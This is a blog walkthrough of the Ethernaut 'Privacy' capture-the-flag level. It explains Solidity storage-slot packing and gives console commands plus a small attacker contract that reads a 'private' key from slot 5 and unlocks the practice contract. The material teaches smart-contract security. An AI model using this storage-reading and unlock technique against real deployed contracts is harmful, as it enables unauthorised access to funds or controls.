#12 — Ethernaut Challenge 12— Privacy

Rahul Pujari
3 min readDec 31, 2022

Objective:

  • Unlock this contract to beat the level.

Understanding the code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

We have a bunch of variables declared in this contract. There are public variables like locked, which is of type bool and tells us if the contract is locked. The ID denotes the current timestamp of the block. flattening, awkwardness, and denomination are private variables - we don't see a direct use within this contract. The data variable here is a private array with three elements and of type bytes32.

The constructor initializes the data variable. The unlock function requires a key to open, and we can see that the last element in the data array is the key that helps unlock the contract. Great, now we know what to do to get the key. Let's hack this contract.

Helpful Information

  1. Let’s first understand how the storage works for this code. Every variable declaration is stored in a memory slot in solidity. Each slot can hold up to 32 bytes of this storage.
  2. Let’s take the example of the code above to understand further.

This variable locked is of type bool, which occupies a space of 1 byte. So it goes in slot #0. ID is of uint256 type and needs a slot for itself, so it goes in slot #1, uint8, uint8, and uint16 all add up to 32 bits and will fit within one slot, which is slot #2. In slots #3, #4, and #5, we store 1 item in the data array, each of which is of type bytes32 and will occupy a slot of its own.

When we looked at the unlock() function, we noticed that the third item in the array is the key required to hack this contract. So, let’s get that and convert it to bytes16. We know that the key is in slot #5.

How to hack the contract?

  1. Open up the console and check if the contract is locked by doing await contract.locked(). It should return true. The goal is to make it false.
  2. On the console, type in web3.eth.getStorageAt(contract.address, 5). This should get us the key in bytes32 format. Copy this.
  3. Let’s head to Remix IDE and make a new attacking contract. This is the Attacker code:
contract privacyAtx{
Privacy privacy;

constructor(address _target) public {
privacy = Privacy(_target);
}

function unlock(bytes32 _key32) public payable{
bytes16 key = bytes16(_key32);
privacy.unlock(key);
}
}

This code takes in the bytes32 format for the key, converts it into bytes16, and helps unlock the contract.

4. Copy the instance address from Ethernaut, and on the deploy page of Remix IDE, paste it as the _target address.

5. Copy the key from step 2 and paste it as the _key32 attribute of the unlock contract on our attacking contract.

6. Now, if you go back and check for await contract.locked(), it should show false, which means you beat the challenge and can submit the instance. Congratulations!

Congratulations on completing this level, more solutions to the remaining challenges will be coming up in my next blog posts, so make sure to follow and clap for more similar content!

Thanks for reading this far. I wish you all the best!

--

--

Rahul Pujari

I am a student in a university in India, I talk about web3 tech and blockchain because I am a web3 enthusiast!